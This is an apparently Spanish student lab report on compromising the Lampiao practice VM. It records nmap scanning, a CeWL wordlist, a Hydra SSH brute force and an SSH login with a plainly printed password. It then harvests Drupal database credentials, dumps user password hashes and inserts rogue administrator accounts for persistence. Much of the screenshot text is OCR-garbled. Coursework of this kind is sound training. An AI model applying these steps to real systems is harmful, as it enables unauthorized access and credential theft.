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INTRODUCCION

El laboratorio permitié comprender de manera practica como un atacante puede avanzar paso
a paso desde la exploracion inicial de un sitio web hasta obtener control completo del sistema.
Ademas, se incluyo la creacion de usuarios administradores en Drupal, demostrando como un
atacante puede garantizar persistencia en el sistema.

Esta practica reforz6 la importancia de mantener una correcta configuracion y actualizacion
en los servicios web, ya que vulnerabilidades aparentemente pequefias pueden comprometer
completamente un sistema, evidenciando la necesidad de politicas robustas de seguridad y gestion

de accesos.



OBJETIVOS GENERALES

Analizar y explotar vulnerabilidades en la maquina Lampido para obtener acceso
remoto.



OBJETIVOS ESPECIFICOS

Explorar Lampido para identificar vulnerabilidades en servicios web.

Aplicar técnicas de enumeracion, explotaciéon y escalada de
privilegios.

Obtener acceso a la maquina mediante SSH y shell inversa.

Crear usuarios con privilegios de administrador en Drupal para
demostrar persistencia.



1 INFORME 2 - PARCIAL #2
1.1 Configuracion Red Lampiao
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1.2 Configuracion de la maquina Lampiao

Encendi e inicié la maquina Lampiao.

En



Encendi e inici¢ la maquina atacante Kali Linux.
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1.3 Configuracion inicial de la red

Inicié¢ la maquina virtual Lampido y mi entorno atacante en Kali Linux. Verifiqué
conectividad y realicé un escaneo de red con el siguiente comando:

nmap -sV 192.192.192.0/24

Maquina Ver Entrada

root@Freeman: homeftello

ArchivoAcciones Editar Vista Ayuda

2sh: corruj
tello®

$
[sudo] contrasefia para tello:
root® Freeman - /hone/tello

rg ) at 2025-09-11 09:39 -05
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Ilustracion 2 Escaneo de Red
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1.4 Exploracion inicial y enumeracion de servicios

Una vez identificado el host victima con la direccion 192.192.192.16, procedi a realizar
un escaneo mas especifico sobre los primeros 2000 puertos, con el fin de detectar qué
servicios se encontraban en ejecucion:

nmap -p 1-2000 192.192.192.16

—(root® Freeman)-[/home/tello]

—& ] 1-2@0@ 192.192.192.16

Starting Nmap 7.95 ( https://nmap.org ) at 2025-@9-11 09:46 -85
Nmap scan report for medmgmt-16.tajen.edu.tw (192.192.192.16)
Host is up (@.8043s latency).

Not shown: 1997 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

1898/tcp open cymtec-port

MAC Address: @8:@0:27:FE:FB:E7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.67 seconds

Hlustracion 4 nmap -p 1-2000 192.192.192.16

El escaneo permitié descubrir un servicio web activo en el puerto 1898, ademas del servicio
estandar HTTP.

Posteriormente, accedi al navegador para verificar manualmente los servicios expuestos.
Primero ingresé inicamente la direccion IP:
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192:192.192.16/
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llustracion 5 http://192.192.192.16

luego exploré el puerto adicional identificado: }
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http://192.192.192.16/
http://192.192.192.16:1898/

Entramos al navegador y pegamos la IP: 192.192.192.16:1898

% Lampido

orums X Kali NetHunter « Exploit-DB

User login

Username *

do Brasil, passou a

B 0¥ & # WO X @ D cTrLDereCHA
B H O ® | # 9 2 W ® O ;? E N ;: e “‘,v.,“mﬁ
[lustracion 6 Ilustracion 6 http://192.192.192.16:1898

Buscamos los posibles usuarios que podemos encontrar guiandonos de nombres

-
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Esto me permitio confirmar la existencia de un portal web asociado al servidor vulnerable.
Con el fin de profundizar en la enumeracion, realicé un escaneo mas dirigido al puerto 22,
donde se encontraba el servicio SSH, utilizando scripts de reconocimiento y deteccion de
version:

Nmap -p 22 192.192.192.16 -A -sC

[—( root® Freeman )-[/home/tello]

“# nmap -p 22 192.192.192.16 -A -sC

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 09:57 -05
Nmap scan report for medmgmt-16.tajen.edu.tw (192.192.192.16)
Host is up (0.0025s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)

| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)

| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)

|_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)

MAC Address: 08:00:27:FE:FB:E7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

0S details: Linux 3.2 - 4.14

Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1  2.51 ms medmgmt-16.tajen.edu.tw (192.192.192.16)

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.72 seconds

[lustracion 7 Nmap -p 22 192.192.192.16 -A -sC

Este analisis reveld que el servidor utilizaba OpenSSH, lo cual lo convertia en un vector de
ataque potencial.

A continuacion, inicié¢ msfconsole para verificar modulos de explotacion relacionados:
mfsconsole
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llustracion 8 mfsconsole
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search OpenSSH

msf > search OpenSSH

Matching Modules

# MName Disclosure Date Rank Check Description

@ post/windows/manage/forward_pageant = normal No Forward 55H Agent Requests To Remote Pageant

1 post/windows/manage/install_ssh . normal No Install for Windows

2 post/multi/gather/ssh_creds 2 normal No Multi Gather PKI Credentials Collection

3 auxiliary/scanner/ssh/ssh_enumusers . normal No SSH Username Enumeration

4 “\_ action: Malformed Packet . R . Use a malformed packet

5 \_ action: Timing Attack . . = Use a timing attack

6 exploit/windows/local/unguoted_service_path 2001-10-25 Yes Windows Unguoted Service Path Privilege Escalation
Interact with a module by name or index. For example . or
msf > i

[lustracion 9 search OpenSSH

1.5 Generacion de diccionario personalizado
Para realizar un ataque de fuerza bruta contra el servicio SSH, decidi construir un
diccionario de contrasefias basado en el contenido del propio sitio web. Para ello empleé¢ la

herramienta cewl, que permite recolectar palabras de una pagina y guardarlas en un archivo:

cewl https://192.192.192.16:1898/ -write DicLampiao.txt



https://192.192.192.16:1898/

L—{ root® Freeman)- | /home/tello]
# cewl https://192.192.192.16:1898/ -write Diclampaio.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

Missing URL argument (try --help)

[lustracion 10 Generacion de diccionario personalizado

Posteriormente verifiqué que el archivo se hubiera creado correctamente y revis¢ la
cantidad de palabras recopiladas:

Is

—(root® Freeman)-[/home/tello]
ampiao.txt Diclampiao.txt Documentos Escritorio Imigenes Misica nOeWdlwe.jpeg Plantillas Piblico rtlsisseus tello.exe Videos YVAnEUNW.jpeg

Ilustracion 11 Is

CLASE CLASES CLASEtello_ubuntu.elf Descargas Dicl

wc -1 DicLampiao.txt

—{ root® Freeman ) - [ /home/tello]
— v DicLamplao.txt

848 DiclLampiao.txt

llustracion 12 wce -1 DicLampiao.txt

Finalmente, inspeccioné el contenido del diccionario con:

cat DicLampiao.txt

( root® Freeman - [ /home/tello]
L # -2t DicLampiao.txt
Lampido
que
main
field
Com
section

account
llustracion 13 cat DicLampiao.txt



1.6 Ataque de fuerza bruta con Hydra

hydra &

[{ro0t® Freeaan) [ /home/tello]
]

o
[1]1 21917
- root® Freeman )-[ /home/tello
# Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpeses (this is non-binding, these ** ignore laws and ethics any

way).
[-C FILE]] [-e nsr] [-o FILE] (-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODUL

Syntax: hydra [[[-1 LOGINK-L FILE] [-p PASSHP FILE]]
E_OPT] [service://server[:PoRTI[/0PT]]

Options:
-1 LOGIN or -L FILE Login with LOGIN name, or load several logins from FILE
p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE  colon separated *login:pass® format, instead of -L/-P options

-M FILE list of servers to attack, one entry per line, ':° to specify port
-t TASKS run TASKS number of comnects in parallel per target (default: 16)
-u service module usage details

m OPT options specific for a module, see -U output for information

-h more command line optiens (COMPLETE HELP)

server  the target: DNS, IP or 102.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
oPT some serviee modules support additional input (-u for module help)

Supported services: adam6soe asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|getipost} http[s]-{getipost}-form http-proxy http-prexy-urlenum icq imap[s] irc 1dap2[s] ldap3[-{cram|
digest}mds][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere penfs pop3[s] posteres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp sockss ssh
sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL w3.8. The newest version is always available at;

https: //github.com/vanhauser-the/the-hydra

Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)

Example: hydra -1 user -P passlist.txt ftp://192.168.0.1

[1] + exit 255 hydra

[lustracion 14 hydra &

Con el diccionario DicLampiao.txt ya generado, procedi a probar posibles
credenciales en el servicio SSH utilizando la herramienta Hydra, que permite realizar ataques

de fuerza bruta automatizados.
Primero hice una prueba bésica con un usuario genérico:

hydra -1 user -P DicLampiao.txt ssh://192.192.192.16

—(root® Freeman) - [ /home/tello]
DicLampiao.txt ssh://192.192.192.16

2 user
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these x*» ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-11 10:23:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[WARNING] Restorefile (you have 10 seconds to abort... (use option -1 to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 848 login tries (1:1/p:848), ~53 tries per task

[DATA] attacking ssh://192.192.192.16:22/

[STATUS] 169.00 tries/min, 169 tries in 00:01h, 682 to do in 00:05h, 13 active

“CThe session file ./hydra.restore was written. Type "hydra -R* to resume session.

llustracion 15 hydra -1 user -P DicLampiao.txt ssh://192.192.192.16

Al no obtener resultados positivos, ajusté el ataque utilizando un usuario previamente
identificado en el sistema: tiago.

hydra -1 tiago -P DicLampiao.txt ssh://192.192.192.16

—{rootS Freeman) - [ /home/tello)
2

tiago - Diclampiao.txt ssh://192.192.192.16
Hydra 9.5 (c) 2023 by van Hauser/THC b David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is mon-binding, these = ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-the/the-hydra) starting at 2035-09-11 10:24:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -1 to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 848 login tries (1:1/p:848), ~53 tries per task

[DATA] attacking ssh://192.192.192.16:22/

[STATUS] 134.00 tries/min, 134 tries in @0:@1h, 714 to do in 00:06h, 16 active

(22]( ] host: login: password:

1 of 1 target successfully completed, 1 valid password found

[WARNING] writing restore file because 1 final worker threads did mot complete until end.

[ERROR) 1 target did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2625-09-11 10326124

Hlustracion 16 hydra -1 tiago -P DicLampiao.txt ssh://192.192.192.16




Tras varios intentos, Hydra logr6 descubrir credenciales validas para el usuario tiago, lo que
me permitié establecer una conexion remota con la maquina victima a través de SSH.

1.7 Acceso remoto al sistema

IP de la victima: 192.192.192.16
Ruta web: /var/www/html

Login SSH: tiago@192.192.192.16
Contrasefia: Virgulino

Una vez obtenidas las credenciales correctas, estableci la conexidén al servidor
vulnerable mediante:

sh: tiago192.192.192.16

Archivo Méquina Ver Entrada sitivos  Ayuda

a togetunpnc-
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t did not resolve or could not be connected
t did not complete
dra (https://github.com/van!

the/the-hydra) finished at 2025-09-11 10:26:24

key is not known by any oth
ye

you sure

519) to the list of known hosts.

r
S (GNU/Linux 4.4.0:

-generic 1686)
» Documentation: https://help.ubuntu.com/

System information as of Thu Sep 11 12:26:07 BRT 2025

System load
usage of /
Memory usa;
Swap usage

Processes 192
.5% of 19.0768  Users logged in: )
IP address for eth@: 192.192.192.16

Graph this data and manage this system at

landscape. canonical . com/

.7 LTS' available.
grade’ to upgrade to it.

Last login: Fri Apr 20 14:40:55 2018 from 192.168.108.1
goalampiao:~$ ifconfig

Link encap:Ethernet Hwaddr 08:0

inet addr:192.192.1 Bcast

inet6 addr: fes0::a0e:27¢f:fefe

UP BROADCAST RUNNING MULTICAST

(1.9 w8)
lo Link encap:Local Loopback
.0.0.1 Mask:255.0.0.0
::1/128 Scope:Host
RUNNING MTU:65536 Metric:1
2 errors:0 dropped:0 o

:0 frame:o
carrier:0

5:32 errors:0 dropped:0 o
5:0 txqueuelen:l
€s:3248 (3.2 KB) TX bytes:3248 (3.2 K8)

tiagoalampiao:~$ |
BO»¥GT ¢ MOTY @D CTRLDERECHA

< 1 =, ESP 10297
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llustracion 17 Acceso remoto al sistema


mailto:tiago@192.192.192.16

Con el acceso interactivo al sistema, verifiqué la red y la configuracion inicial con:

ifconfig

tiagoglampiao:~$ ifconfig

ethe Link encap:Ethernet Hwaddr 08:00:27:fe:fb:e?
inet addr:192.192.192.16 Bcast:192,192.192.2
inets addr: fe80::a00:27ff:fefe:fbe7/ Scope
UP BROADCAST RUNNING MULTICAST MTU:150@ Metric:1
RX packets:12636 errors:38 dropp{-d:v‘.‘ overruns:® frame:e
TX packets:14634 errors:0 dropped:0 overruns:@ carrier:0
collisions:@ txqueuelen:1000
RX bytes:142 8 (1.4 MB) TX bytes:1929341 (1.9 MB)
Interrupt:9 Base address:0xdoeo

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
ineté addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTUI65536 Metric:1
RX packets:32 errors:® dropped:0® overruns:@ frame:o
TX packets:32 errors:@ dropped:0 overruns:@ carrier:0
collisions:@® txqueuelen:1
RX bytes:3248 (3.2 KB) TX bytes:3248 (3.2 KB)

tiagoalampiao:~$ }

Ilustracion 18 ifconfig

En este punto ya contaba con acceso como usuario legitimo en la méquina Lampido, lo que
me permitié continuar con la fase de post-explotacion.

ali NetHunter & Exploit-DB

Google rebootuser ¢ |

Todo

GitHub.

s i m e - Tr aking s in Englisn?

a

EoE A

BORIFLFMESN SO

» =" 98 ¥ © N T

llustracion 19 rebootuser



Le damos en Code y copiamos url
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LS x 19 x @L ousilac ¢ x| €) GitHub - rebootuser/L

«

Offsec  KaliLinux @ KaliTools = KaliDocs M Kali Forums o Kali NetHunter % Exploit-DB % Google Hacking DB

() Platiom  Solutions ~  Resources ~ Open Source ~  Enterprise - Pricing Search or jump signin [ Sign

[ Clone I Linux Enumeration &
alation Checks
HTTPS  GitHub CLI

README.md

README 5 MIT license Releases

LinEnum

Packages
For me

Contributors 17

SeREOS
080 ¢
LinEnun d -r report -e tmp/ -t
Languages
® 2" e & QP HEHO
llustracion 20 url

1.8 Escalada de privilegios con LinEnum

Con el objetivo de identificar posibles vectores de escalada de privilegios, descargué la
herramienta LinEnum, desarrollada para automatizar tareas de reconocimiento interno en
sistemas Linux.

Primero cloné el repositorio desde GitHub:

git clone https://github.com/rebootuser/LinEnum.git

root® Freeman |- [ /home/tello

8
Clonando en ‘LinEnum’ ...
remote: Enumerating objects: 234, done,
remote: Counting objects: 100% (96/96), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 234 (delta 81), reused 78 (delta 78), pack-reused
Recibiendo objetos: 100% (234/234), 113.83 KiB | 626.00 Ki
Resolviendo deltas: 100% (130/130), listo.

Hlustracion 21 cloné el repositorio desde GitHub



Ls revisamos que LinEnum exista

root® Freeman ) - [ /home/tello

CLASE  CLASEtello_ubuntu.elf Diclampiao.txt Documentos hydra.restore LinEnum nOewdlwE.jpeg Piblico tello.exe YVAMEUNW. jpeg
CLASES Descargas DicLampiao.txt Escritorio Imdgenes Misica Plantillas rtlgisBeus Videos

Y procedi a editar y ejecutar el script con:

nano LinEnum.

~(root® Freeman )-[ /home/tello]
8 LinEnum

—( root$ Freeman ) - [ /home/tello]
= LinEnum.git

—( root® Freeman ) - [ /home/tello
B LinEnum.sh

—( root® Freeman ) - [ /home/tello
2 LinEnum

—( root® Freeman ) [ /home/tello/LinEnum
” LinEnum. sh

~( root® Freeman ) | /home/tello/LinEnum
= i

Ilustracion 22 nano LinEnum.

inEnum

7
A

o

O p|ovoo » A

b o

Guardar Buscar Bl cortar Ejecutar Ubicacion Deshacer Poner marca A llave S Anterior Atras Palabra ant.
Leer fich Reemplazar @l Pegar Justificsr Ir = lines Rehacer Copiar Buscar stris MY Siguiente Adelante Palabra sig.
BOoRGL/EEMS @0

» -« ¢ & < e

10
LAA 11/09/2025

llustracion 23 LinEnum

El analisis de LinEnum proporcion6 informacion sensible del sistema, entre ella credenciales
almacenadas en archivos de configuracion.



1.9 Acceso inicial a la maquina victima
Me conecté a la maquina Lampifo por SSH con el usuario tiago. Una vez dentro, comencé
a explorar el sistema.

Dispor

tiogo@lampisa: -

Archivo Acciones Editar Vista Ayuda

New release '16.04.7 LTS' available.
Run ‘do-release-upgrade’ to upgrade to it.

Last login: Fri Apr 20 14:40:55 2018 from 192.168.108.1
tiagoalampiao:~$ ifconfig
etho Link encap:Ethernet Huaddr 08:00:27:fe:fb:e7
inet addr:192.192.192.16 Bcast:192.192.192.255 Mask:255.255.255.0
inets addr: feso::a00:27ff:fefe:fbe7/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:12636 errors:38 dropped:0 overruns:0 frame:0
TX packets:14634 errors:0 dropped:0 overruns:@ carrier:o
collisions:@ txqueuelen:1000
RX bytes:1422238 (1.4 MB) TX bytes:1929341 (1.9 M8)
Interrupt:9 Base address:0xdoeo

lo Link encap:local Loopback
inet addr:127.0.0.1 Masl
inet6 addr: ::1/128 Scop
UP LOOPBACK RUNNING MTU:65536 Metric:1

:0 carrier

dropped:0 overry
len:1
RX bytes:3248 (3.2 KB) TX bytes:3248 (3.2 KB)

tiagoglampiao:~$ whoami

:~§ chmod 777
missing operand after
chmod for more information.
sudo su
[sudo] password for tiago
tiago is not in the sudoers file. This incident wi
tiagoalampiao:~$ cd /home
tiagoglampiao: /home$ 1s
tiago
tiagoalampiao: /home$ cd /tiago
-bash: cd: /tiago: No such file or directory
tiago@lampiao:/home$ cd tiago
tiagodlampiao:~$ s
tiagoglampiac:~$ 1s -la
total 36
drwxr-xr-x 4 tiago tiago 4096 Apr 20 2018
drwxr-xr-x 3 TOOT root 4096 Apr 19 2018 ..

— 2 tiago tiago 4096 Apr 19 2018 .aptitude

1 tiago tiago Apr 20 2018 .bash_history
r— 1 tiago tiago 19 2018 .bash_logout
19 2018
tiago tiago 4096 Apr 19 2018
tiago tiago 675 Apr 19 2018
-rw 1 root_ root 577 Apr 19 2018
tiagoalampiao:~$ i

be reported.

B O¥E ¢ WMEMN @D CTRDERECHA

10:412.m.
11/09/2025

Llustracion 24 Acceso inicial a la maquina victima
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RX bytes:3248 (3.2 KB) TX bytes:32

tiagoglampiao:~$ whoami

tiago

tiagoalampiao:~$ chmod 777

chmod: missing operand after ‘777"

Try ‘chmod —help' for more information.

tiagodlampiao:~$ sudo su

[sudo] password for tiago:

tiago is not in the sudoers file. This incident will be reported.
:~$ cd /home

:/home$ 1s

tiagoalampiao: /home$ cd /tiago

cd: /tiago: No such file or directory
tiagoglampiao: /home$ cd tiago
tiagoalampiao:~$ s
tiagoalampiao:~$ 1s -la
total 36
drwxr-xr

X 4 tiago tiago 4096 Apr 20 2018
drwxr-xr-x 3 root Troot 4096 Apr 19 2018
tiago tiago 4096 Apr 19 2018 .aptitude
tiago tiago 25 Apr 20 2018 .bash_history
1 tiago tiago 220 Apr 19 2018 .bash_logout

tiago tiago 3637 Apr 19 2018 .bashrc

4096 Apr 19 2018 .cache

675 Apr 19 2018 .profile

root 577 Apr 19 2018 .viminfo

tiagodlampiao: /home$ cd ..
tiagoplampiao:/$ 1s
bin boot dev etc home initrd.img lib lostsfound media mnt opt proc root run sbin srv sys i usr var vmlinuz

tiagoalampiao:/$ cd /etc

tiagoalampiao: /etcs 1s

acpi byobu default gshadon- iscsi logcheck mysql polkit-1 rc6.d shadow- ucf.conf
adduser. conf ca-certificates deluser.conf hdparm.conf issue login.defs nanorc popularity-contest.conf shells udev

ca-certificates.conf depmod.d host.conf issue.net logrotate.conf network pPP res.d skel ufw
calendar dhcp hostname kbd logrotate.d net s profile resolvconf ssh updatedb. conf
cangaco dpkg hosts kernel Lsb-release newt profile.d resolv.conf ssl update-nanager
chatscripts environment  hosts.allow kernel-img.conf ltrace.conf protocols subgid update-notd.d
console-setup fonts hosts.deny landscape magic nsswitch.conf python rpe subgid- update-notifier
cron.d fstab ifplugd ldap magic.mime opt python2.7 rsyslog.conf subuid upstart-xsessions
cron.daily fstab.d init 1d.50. cache mailcap os-release python3 rsyslog.d subuid- vim
cron.hourly fuse.conf init.d 1d.so.conf mailcap.order pam.conf python3.4 screenrc sudoers vtrgh
bash.bashrc cron.monthly gai.conf initramfs-tools 1d.so.conf.d manpath.config pam.d rco.d securetty sudoers.d  w3m
bash_completion crontab groff inputrc legal mime. types passwd rei.d security sysctl.conf wgetrc
bash_completion.d cron.weekly group insserv lbaudit.conf  mke2fs.cos passud- rc2.d selinux sysctl.d wpa_supplicant
bindresvport.blacklist —dbus-1 group insserv.conf Llibnl-3 modprobe.d perl rc3.d systend 11
blkid.conf debconf . conf grub.d insserv.conf.d locale.alias modules phps re4.d terminfo xml
debian_version gshadow iproute2 localtime mtab pn res.d timezone 2sh_command_not_found

tiagoglampiao: /etc$ nano passwd
tiagoalampiao: /etc$

B O¥EF MBS @D TR DERECHA
ESP 10:46a.m.
BC 2 cow

11/09/2025
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Biago:x:1000:1000: t1ago, . :/home/t1ago: /bin/bash
sshd:x:10 var/rundsshd: fuse/sbin/nologin
root /bin/bash
daemon:x:1:1:daemon: /use/sbin: /usr/sbin/nologin
usr/sbin/nologin
usr/sbin/nologin
/bin:/bin/sync
sbin/nologin
fvar/cache/man: fust/sbin/nologin
var/spool/1pd: /usr/sbin/nologin
var/mail: /usr/sbin/nolog
var/spool/news: /usr/sbin/nologin
ucp: /var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin: /usr/shin/nologin
e -datax: 331331 www-data: /var/wa: fusr/sbin/nologin
:/var /backups: /usr/sbin/nologin
8:38:Mailing List Manager:/var/list:/usr/sbin/nologin
%:39:39: ircd: /var/Tun/ircd: /usr/sbin/nologin
gnatsix:41:41:Gnats Bug-Reporting System (admin):/var/1ib/gnats:/usr/sbin/nologin
£65534765534 : nobady: /nonexistent : /usr/sbin/nologin
: fvar/1ib/1ibuuid
home/syslog: /bin/false
WSQL Server,,,:/nonexistent

te p
Read File r cut Text cur pos
where Ts A UnCut Text To Spell

Get Help writeout
Exit Justify

1.10 Acceso remoto al sistema
Una vez obtenidas las credenciales correctas, estableci la conexion al servidor vulnerable

mediante:
sh: tiago192.192.192.16

s
55ha192,192,192.16% no se encontré la orden

tello® Freesan) [~
T1agoa192.192 192
ty of host ‘192 92.16 (192.192.192.16)" can’t be @ a.
Key Fingerprint s SHAT36: GONOASY SoRMCAKS 816X 1aEH SekLAZDIAB UrPa
JE=:=Touk Coeny iy oy Totie e
sure you want to continue comnecing (yes/no([Fingerprint])7 ves
srmanently added '192.192.192.16' (ED25519) to the 1is

tiagodis2 102.16
Welcone 5 Uunty 24.04.5 LTS (GHU/Linus 4.4.0-3i-generic 686)

+ Documentatian: https://help.ubuntu.con/

System information as of Thu Sep 11 12:28:04 BRT 2025

systen load processes: 166
Isage of / f 19.07G8  Users logged ®

Mesary 2ix ™ ac ethp: 192.192.192.16
Swap usage:  @%

Graph this gata and manage this system at:
https://landscape.canonical . con/

New release '16.04.7 LTS available
Run “do-relesse-upgrade’ to upgrade to it.

Sep 11 12328
grep -Ri "pas

2025 from medngat-4. tajen.edu. tw
" var /s /hn
s ————— Password Meter ——————— v/
apassword-strength {
apassward-strength-text {
fons ul 14 {

Epassord strengin-tert
Password meter

/e nemes bartik/css /st _passward-parent |
password pareat,
4iv.password-suggestions {

passue
NSTALL . . ‘ollowing cemmand creates a new user mamed 'username’ and asks for a password
pas: = ‘password
word, host, and database name.

: -password
= “password

passuord
passward

ind password vaziziles. Tha proxy user sgent varisbls

password”,
b: * username, password, host, and database name.
sword” = password

B O»”T ¢ MBS @O cmerecha

1200p.m.
11/09/202

= q) ®

[lustracion 25 ssh: tiago192.192.192.16



1.11 Acceso a la base de datos MySQL

Durante la revision de archivos web, encontré que el archivo settings.php de Drupal
almacenaba credenciales de conexion a la base de datos:

orep -i 'database\|user\|pass\|host'

Jvar fum /btnil /sites/defaul t/settings php | grep -1 'databaselluser\lpass\lhost’
€t ta e from right to left. The First

le,

latabase cennection or
tiple types of databases,
5 an array of settings,

y indicates what Drupal database driver the
mysql or sqlite, but not always. The other
le name in a directory that is writable by the

d certain queries to a
the default connection if not.
s as follows:

databasenns
usernane”,
passnord’,
ocalhost”,
he

chena/database as a prefix. This may be
ral databases from the same code base at the same

a schena is a database
can add or e initial commands to execute when
to the database server, as well as B0 connection settings. For
the database connection timeout to 5 seconds

']

w(
r database portability.

or
$databases[ defsult ][ o
database’ = -databas

B O¥T# WK @O DemecHA
EmoO@AO0 TSy e
[lustracion 26 Acceso a la base de datos MySQL

1.12 Conexion a la base de datos MySQL
Usé las credenciales obtenidas para conectarme a MySQL Comando ejecutado:

mysql -u drupaluser -p B

tiago@lampiao:~$ mysql -u drupaluser -p

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id i1s 69

Server version: 5.5.50-0ubuntu®.14.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. ALl rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

OWners.

Type "help;' or '\h' for help. Type *"\c¢' to clear the current input statement.

Hlustracion 27 Conexion a la base de datos MySQL



ingreso correcto a la base de datos y verificacion de las bases existentes (drupal).

1.13 Exploracion de la base de datos Drupal
Seleccioné la base de datos y revisé las tablas Comando ejecutado:

SHOW DATABASES;
mysgl> SHOW DATABASES;

1-
Database I

A
|

+ t
| information_schema |
| drupal |
.
2

1—
rows in set (0.08 sec)

Encontré tablas como users, users_roles y role, que manejan usuarios y permisos, seleccioné
la base de datos de Drupal e inspeccioné sus tablas:

USE drupal;

mysgl> USE drupal;
Reading table information for completion of table and column mames
You canm turn of f this feature to get a gquicker startup with -4

SHOW TABLES;



7]
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BBl 0tabase changed
mysql> SHOW TABLES;

| Tables_in_drupal

| actians
Rl | authnap

1
I
1
1
1
1
I
|
1
1
1
I
1
1
1
1
1
1
1
1
1
1
1
1
1
I
| Field_data_s b 1
| field_data_field_image 1
| field data_field tags 1
| field revision bady 1
1

1

1

1

1

1

1

1

1

I

1

1

1

1

1

1

1

1

1

1

1

1

1

I

1

1

1
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De manera especifica revisé la estructura y contenido de la tabla users:

DESCRIBE users;

mysql> DESCRIBE users;
+
|

" . . . . .
| Field Type | Null | Key | pDefault | Extra

+ + + + + + +
| uid | int(19) unsigned | NO | PRI | © | |
| name | varchar{6@) | NO | UNI | |

| pass | varchar{(128) | NO J | 1

| mail | varchar(2s4) | YES | swL | ‘

| theme | varchar(255) | NO | | |

| signature | varchar(255) | NO | i |

| signature_format | varchar(255) | YES | | NULL !

| created | int(11) | NO | MuL | © |

| access | int(11) | NO | muL | © |

| login | int(11) | NO | | © | |
| status | tinyint(4) | NO ‘ | @ ‘

| timezone | varchar(32) | YES | | NULL !

| language | varchar(12) | NO | i |

| picture | int(11) | NO | MuL | @ i
| init | varchar(254) | YES | | 1

| data | longblob | YES | NULL ‘

+ + + + + +

R
16 rows in set (0.01 sec)



1.14 Verificacion de usuarios existentes
Consulté los usuarios ya creados en el sistema, esto me permitid visualizar los usuarios
existentes y sus hashes de contrasefias.

SELECT uid, name, mail, pass FROM users;

mysql>

mysql> SELECT uid, name, mail, pass FROM users;
+ + + +
| uid | name | mail pass
¢ +- + +
e | | |
1 | tiago | lampiaoc@lampiaoc.com $SEDNZ501k/NY7SUgTL IviPONLAOKHKWNSy Xy 2eroEnDAl paTAT J35X8
2 | Eder | eder@dlampiao.com ?‘-\?r)'{::tl"."l!7‘.'.!_”1‘.‘le?'l‘/"—’"l".I;'h‘l"H._p\"JK‘YOFQ'TTv‘D.?l(,v"-ll-.r—:'!l,-"" |
3 rows 1n set (0.01 sec

se listaron usuarios como tiago y Eder, ambos con contrasefias en hash PHPass.
1.15 Creacion de usuarios administradores

Para garantizar persistencia en el sistema, decidi crear nuevos usuarios con privilegios de
administrador directamente en la base de datos de Drupal.
Primero inserté los usuarios:

INSERT INTO users (uid, name, pass, mail, status, created) VALUES (3, 'tello',
'$SSDgFJx0gKkq93yN5b3tFZtEzZOSFKN3N7XENe5iM7Na7dEWUXHqYbd',
'tello@example.com', 1, UNIX_TIMESTAMP());

INSERT INTO users (uid, name, pass, mail, status, created) VALUES (4, 'camilo’,
'$SSDXIXVP3FDezvUekUSDIHSILQfIGjN2g4rN6z4YUL7MFxBFiqAbhw',
